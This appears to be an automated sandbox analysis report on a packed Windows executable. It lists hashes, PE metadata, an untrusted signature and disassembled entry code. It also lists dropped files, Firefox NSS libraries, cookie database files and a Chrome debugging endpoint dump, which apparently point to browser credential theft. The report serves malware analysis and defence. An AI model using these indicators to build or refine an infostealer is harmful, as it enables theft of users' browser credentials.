SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\gYjK72gL17.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\gYjK72gL17.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\gYjK72gL17.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\gYjK72gL17.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\gYjK72gL17.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\json[1].json

Download File

Process:	C:\Users\user\Desktop\gYjK72gL17.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.365262888854949
Encrypted:	false
SSDEEP:	48:SfNaoQ1TEQBfNaoQcQdfNaoQNdZQN3fNaoQz4ol0UrU0U8Qz4:6NnQ1TEQdNnQcQJNnQNdZQNvNnQ5l0U3
MD5:	FF23AAEEDD7CE1B1CE09FEDBAF0A1A58
SHA1:	764DE1259E593171069F6447B4C480B44E020046
SHA-256:	245379FCA6DF9797BF633484FE8B4FF56D438EC5B5A2B23CB2668A5B0551A50D
SHA-512:	78BE7E8C6E7C6BD1B64C36721E62E9B02FE09A1384D80128D9DAD65A3C169406BDF0DDF1786F5317DEBECD77D7C5FDC9CF43924489A935668F36D37D41AF07D0
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/2AAFFA2D0A31839738475B344A53BA2A",.. "id": "2AAFFA2D0A31839738475B344A53BA2A",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/2AAFFA2D0A31839738475B344A53BA2A"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/F3104AA1F37C1F3574BE103C090B50A5",.. "id": "F3104AA1F37C1F3574BE103C090B50A5",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/F3104AA1F37C1F3574BE103C090B50A5"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\gYjK72gL17.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\gYjK72gL17.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 83

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (859)
Category:	downloaded
Size (bytes):	864
Entropy (8bit):	5.168949886954652
Encrypted:	false
SSDEEP:	24:CNATVt7548LfM+kjcM2QBHslgT9lCuABAThbuoB7HHHHHHHYqmffffffo:3T794MfMXoMTKlgZ01BAJuSEqmfffffA
MD5:	ECFCF02E5E19BCC905FEEEA36D6CCBB4
SHA1:	32B27A45F32628940A6397AE1D2F285AD21D1194
SHA-256:	1D47256EB6D91687886CD62A6CB7DFDAA3693C923EBAC2ABACE1DAA2B4C6D599
SHA-512:	EDB778B3590C22BBBC95D52247871EA6026FFD4C00A2A1550F1EFD35A1B70C06EDB5BBD1C786AA55807A6B471A1157F4919EFBFD34B46BC3D039E829FA52E94B
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["wicked movie streaming","santa cruz wharf collapses","ncaa volleyball championship penn state","black ops double xp weekend","christmas eve weather forecast","texas rangers trade nathaniel lowe","chinese satellite mississippi","nordstrom mexican retail group"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002}],"google:suggesteventid":8232743741213360724,"google:suggestrelevance":[1257,1256,1255,1254,1253,1252,1251,1250],"google:suggestsubtypes":[[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362]],"google:suggesttype":["QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY"]}]

Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 85

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	132732
Entropy (8bit):	5.4367642234888995
Encrypted:	false
SSDEEP:	3072:fbkJQ7O4N5dTm+syHEt4W3XdQ4Q6suSr/nUW2i6o:feQ7HTt/sHdQ4Q6sDfUW8o
MD5:	1FB406145C9199C4568003F81C3625A2
SHA1:	E05424D323F7535B801E431245F81F99AAFE3E59
SHA-256:	65EE1E17CFBBE9C3A2D184863C7C4D031A3F2CD28BB1A7220962151C530753EA
SHA-512:	4530C2714864A12F8ADA63126C78B72B261B43F084131F82AD8D5F50B1213F6F1741E9C23278E1A957F4FFABAE45EC2A9E811A1435D5DCD6C87E8F13CDF6F036
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 86

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2410)
Category:	downloaded
Size (bytes):	175897
Entropy (8bit):	5.549876394125764
Encrypted:	false
SSDEEP:	3072:t0PuJ7UV1+ApsOC3Ocr4ONnv4clQfOQMmzIWrBQoSpFMgDuq1HBGANYmYALJQIfr:t0PuJQ+ApsOOFZNnvFlqOQMmsWrBQoSd
MD5:	2368B9A3E1E7C13C00884BE7FA1F0DFC
SHA1:	8F88AD448B22177E2BDA0484648C23CA1D2AA09E
SHA-256:	577E04E2F3AB34D53B7F9D2F6DE45A4ECE86218BEC656B01DCAFF1BF6D218504
SHA-512:	105D51DE8FADDE21A134ACA185AA5C6D469B835B77BEBEC55A7E90C449F29FCC1F33DAF5D86AA98B3528722A8F533800F5146CCA600BC201712EBC9281730201
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.otmEBJ358uU.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTu0yU9RTMfNNC-LVUmaaNKwIO136g"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.Ui=function(a){if(4&a)return 4096&a?4096:8192&a?8192:0};_.Vi=class extends _.Q{constructor(a){super(a)}};.}catch(e){_._DumpException(e)}.try{.var Wi,Xi,aj,dj,cj,Zi,bj;Wi=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};Xi=function(){_.Ka()};aj=function(a,b){(_.Yi\|\|(_.Yi=new Zi)).set(a,b);(_.$i\|\|(_.$i=new Zi)).set(b,a)};dj=function(a){if(bj===void 0){const b=new cj([],{});bj=Array.prototype.concat.call([],b).length===1}bj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.ej=function(a,b,c){a=_.rb(a,b,c);return Array.isArray(a)?a:_.Ac};._.fj=function(a,b){a=2&b?a\|2:a&-3;return(a\|32)&-2049};_.gj=function(a,b){a===0&&(a=_.fj(a,b));return a\|1};_.hj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.ij=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.lj=function(a,b,c,d,e,f,g){a=a.ha;var h=!!(2&b);e=h?1:e;f=!!f;g&&(g=!h);h=_.ej(a,b,d);var k=h[_

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTs4SLbgh5FvGZPW_Ny7TyTdXfy6xA"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.8804076396667435
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	gYjK72gL17.exe
File size:	5'820'392 bytes
MD5:	05dc698e49fce4efae5872eb54f19767
SHA1:	29cfcfbbb21aefabe7c57a057dcf0335cb4a0ac0
SHA256:	86a95ebe542d3aed78191cf9bb40d86b7986b338e50941bf7db1ed5008a4e027
SHA512:	85ea0fee917ae5de9c6065ef9a85d3f5cec1c84a31230d81db115006a2d9bb20ba771702b590d4973b75d935d48eee049a7ba35b676796b4a04c3b369e881dc7
SSDEEP:	98304:egctTMC3AKW4rNhjVl24OV7cYnBs3vOyCcy42ti0twuXi0doDvXBhG9zHZ:egctTM4AKW4JhjHTOV4YnBs32y042k+v
TLSH:	8446F164B7E28A20CCB303350D15F5E8FE311C272116982570CD6F576FF3AA2AAB7995
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....jg.....................X3.......b...........@..........................0........Y...@................................

File Icon


Icon Hash:	0306203098dd6e63

Static PE Info

General

Entrypoint:	0xa2b11a
Entrypoint Section:	.vmp
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x676A9B90 [Tue Dec 24 11:31:28 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	6759995fda4d4e04dbf703eef9d542ab

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=Lenovo HelpCentr
Signature Validation Error:	A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider
Error Number:	-2146762487
Not Before, Not After	23/12/2024 15:54:51 24/12/2034 15:54:51
Subject Chain	CN=Lenovo HelpCentr
Version:	3
Thumbprint MD5:	F73BAABBB0219AA2931F1E384F934A2D
Thumbprint SHA-1:	5F939042543BC5B5B26EE42D3B2F7CC31C8F6B07
Thumbprint SHA-256:	82C8745DA1F3C58F4B998F3D91898CE2FB6B67336C0AE85DB2BEBF66D850C12D
Serial:	5AB8891E9A0A7996494081ED71F471EE

Entrypoint Preview

Instruction
push ecx
pushfd
mov ecx, 89319E09h
add cl, FFFFFFB0h
sub ecx, 19991EAFh
not cx
add ecx, ecx
bswap ecx
or ecx, BB906082h
mov ecx, dword ptr [esp+ecx+04008F25h]
mov dword ptr [esp+04h], A61556CCh
push dword ptr [esp+00h]
popfd
lea esp, dword ptr [esp+04h]
call 00007FCE513E4B19h
jmp 00007FCE51378D99h
sbb eax, 162F68C6h
or dl, byte ptr [esp-3Dh]
call 00007FCE569218B3h
in eax, dx
iretd
fst qword ptr [esp+edi*8+18h]
push ds
add dl, bh
jne 00007FCE51398F67h
loopne 00007FCE51398FBDh
mov dword ptr [9665C08Bh], eax
clts
loopne 00007FCE51399026h
std
jnc 00007FCE51398F54h
dec edx
xchg eax, edi
sbb bl, byte ptr [ecx+2Fh]
enter 7915h, 85h
ror ch, 1
or ah, bh
pop edi
or byte ptr [esi+ebp*8+7Fh], dh
inc edi
push esp
xor byte ptr [eax-02h], dh
test dword ptr [eax-5Ch], eax
xchg eax, ebp
movsb
cmp ah, byte ptr [esi]
jnbe 00007FCE51399010h
ror edx, 01h
xor byte ptr [esi+37h], bh
test eax, D25D2C7Dh
mov eax, dword ptr [D7B0C36Ah]
jno 00007FCE51398F8Fh
or al, 92h
salc
xchg dword ptr [esi], ebx
xchg eax, ecx
cmp dh, cl
or dh, FFFFFFF7h
movsb
in eax, dx
js 00007FCE51398F67h
test al, 4Bh
mov eax, 62E6C321h
sti
popfd
dec ebp
adc al, bh
mov bl, 16h
int3
xchg eax, esp
bound eax, dword ptr [ebx]
xlatb
into
xor byte ptr [ebx], bh
push ebp
dec edi
jp 00007FCE5139903Ah
pop eax
jnp 00007FCE51398FA5h
lea ebp, dword ptr [edi+00h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x531d38	0x64	.vmp
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x971000	0x111032	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x58b200	0x1de8	.vmp
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x96f000	0x1a38	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x4d6000	0x34	.vmp
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
